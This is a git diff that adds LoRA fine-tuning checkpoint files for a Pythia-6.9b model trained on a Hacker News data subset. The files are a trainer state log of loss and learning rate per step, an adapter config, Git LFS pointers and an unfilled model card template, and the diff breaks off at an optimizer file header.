a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..350f7dee32f1f7374aec64c53733abeae9d9300f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/trainer_state.json @@ -0,0 +1,1023 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.8, + "eval_steps": 10, + "global_step": 660, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8014676570892334, + "learning_rate": 8.888888888888888e-06, + "loss": 1.605, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9312660694122314, + "eval_runtime": 43.9235, + "eval_samples_per_second": 22.767, + "eval_steps_per_second": 2.846, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 3.619027614593506, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5216, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 2.970654249191284, + "eval_runtime": 44.0834, + "eval_samples_per_second": 22.684, + "eval_steps_per_second": 2.836, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 3.851361036300659, + "learning_rate": 6.51851851851852e-06, + "loss": 1.5173, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 2.986992597579956, + "eval_runtime": 43.9897, + "eval_samples_per_second": 22.733, + "eval_steps_per_second": 2.842, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 6.171919345855713, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5553, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 2.981487512588501, + "eval_runtime": 43.8155, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 3.86953067779541, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5459, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 2.9791789054870605, + "eval_runtime": 43.8107, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 640 + }, + { + "epoch": 8.666666666666666, + "grad_norm": 3.8861212730407715, + "learning_rate": 2.962962962962963e-06, + "loss": 1.5449, + "step": 650 + }, + { + "epoch": 8.666666666666666, + "eval_loss": 2.9787235260009766, + "eval_runtime": 43.8368, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 650 + }, + { + "epoch": 8.8, + "grad_norm": 3.9185147285461426, + "learning_rate": 1.777777777777778e-06, + "loss": 1.5618, + "step": 660 + }, + { + "epoch": 8.8, + "eval_loss": 2.9785189628601074, + "eval_runtime": 43.9369, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 660 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.081480751087616e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b0a78e9da530ba9f5aa8008706d96bd808528f53 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3b2594620235c19931e65799970e604d25711e206e3756b9ad82fec5c396ea93 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/optimizer.pt new file mode 